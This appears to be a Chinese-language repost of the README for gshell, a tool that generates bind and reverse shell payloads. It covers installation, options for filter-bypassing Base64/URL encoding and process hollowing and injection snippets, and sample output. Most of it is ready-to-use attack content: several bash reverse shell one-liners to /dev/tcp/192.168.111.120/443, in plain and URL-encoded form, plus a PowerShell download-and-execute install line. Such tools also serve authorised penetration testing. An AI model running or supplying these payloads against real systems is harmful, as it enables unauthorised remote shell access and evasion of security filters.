类Unix系统 GNU/Linux Windows macOS
Bind-Shel:目标需要有一个监听端口,然后我们连接到目标主机; 反向Shell:我们又一个监听端口,让目标连接到我们的设备;
URL编码:绕过URL过滤器; Base64/32/16编码:绕过字符串/关键字过滤器; PowerShell Base64编码;
IPv4 IPv6
TCP UDP ICMP
PowerShell Python Bash Sh Perl Socat Netcat Nc Awk Lua NodeJS OpenSSL PHP Ruby Telnet Golang C# Dart Groovy ...
shells/bind_shells.md
shells/reverse_shells.md
git clone https://github.com/nozerobit/gshell.git
python3 -m pip install -r gshell/requirements.txt
sudo ln -s $(pwd)/gshell/gshell.py /usr/local/bin/gshell.py && chmod +x /usr/local/bin/gshell.py
gshell.py
git clone https://github.com/nozerobit/gshell C:\\Tools
@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin
choco install -y python3
python -m pip install --upgrade pip
python -m pip install -r gshell/requirements.txt
cd C:\Tools
python gshell.py
PS C:\gshell> python .\gshell.py -h
usage: gshell.py [-i <IP ADDRESS>] [-p <PORT NUMBER>] [-s <SHELL TYPE>] [-r] [-b] [--hollowing] [--injector] [--base64] [--base32] [--base16] [--url] [--no-block] [-l] [-a] [-h]
██████ ███████ ██ ██ ███████ ██ ██
██ ██ ██ ██ ██ ██ ██
██ ███ ███████ ███████ █████ ██ ██
██ ██ ██ ██ ██ ██ ██ ██
██████ ███████ ██ ██ ███████ ███████ ███████
Generate bind shells and/or reverse shells with style
Version: 1.1
Author: nozerobit
Twitter: @nozerobit
Options:
-i <IP ADDRESS>, --ip <IP ADDRESS>
指定IP地址
-p <PORT NUMBER>, --port <PORT NUMBER>
指定端口号
-s <SHELL TYPE>, --shell <SHELL TYPE>
指定Shell类型 (python, nc, bash等)
Payload Types:
-r, --reverse 反向Shell Payload
-b, --bind Bind Shell Payload
Snippets Types:
--hollowing 打印进程镂空代码段
--injector 打印进程注入代码段
Encoding Options:
--base64 添加Base64编码
--base32 添加Base32编码
--base16 添加Base16编码
--url 添加URL编码
Markdown Options:
--no-block Skip ```
code
blocks
``` while parsing
Help Options:
-l, --list 枚举所有可用的Shell类型
-a, --advice 打印使用建议和提示
-h, --help 显示帮助信息和退出
PS C:\gshell> python .\gshell.py -i 192.168.111.120 -p 443 -r -s bash
[+] The IPv4 address: 192.168.111.120 is valid.
[+] The port number: 443 is valid.
[+] Shell type is valid
[+] Preparing reverse shells
[+] Generating bash shells
bash -i >& /dev/tcp/192.168.111.120/443 0>&1
----------------NEXT CODE BLOCK----------------
0<&196;exec 196<>/dev/tcp/192.168.111.120/443; sh <&196 >&196 2>&196
----------------NEXT CODE BLOCK----------------
/bin/bash -l > /dev/tcp/192.168.111.120/443 0<&1 2>&1
----------------NEXT CODE BLOCK----------------
bash -i >& /dev/tcp/192.168.111.120/443 0>&1
----------------NEXT CODE BLOCK----------------
bash -i >& /dev/udp/192.168.111.120/443 0>&1
PS C:\gshell> python .\gshell.py -i 192.168.111.120 -p 443 -r -s bash --url
[+] The IPv4 address: 192.168.111.120 is valid.
[+] The port number: 443 is valid.
[+] Shell type is valid
[+] Preparing reverse shells
[+] Generating bash shells
[+] Adding URL Encoding
bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.111.120%2F443+0%3E%261%0A
----------------NEXT CODE BLOCK----------------
0%3C%26196%3Bexec+196%3C%3E%2Fdev%2Ftcp%2F192.168.111.120%2F443%3B+sh+%3C%26196+%3E%26196+2%3E%26196%0A
----------------NEXT CODE BLOCK----------------
%2Fbin%2Fbash+-l+%3E+%2Fdev%2Ftcp%2F192.168.111.120%2F443+0%3C%261+2%3E%261%0A
----------------NEXT CODE BLOCK----------------
bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.111.120%2F443+0%3E%261%0A
----------------NEXT CODE BLOCK----------------
bash+-i+%3E%26+%2Fdev%2Fudp%2F192.168.111.120%2F443+0%3E%261
----------------NEXT CODE BLOCK----------------
精彩推荐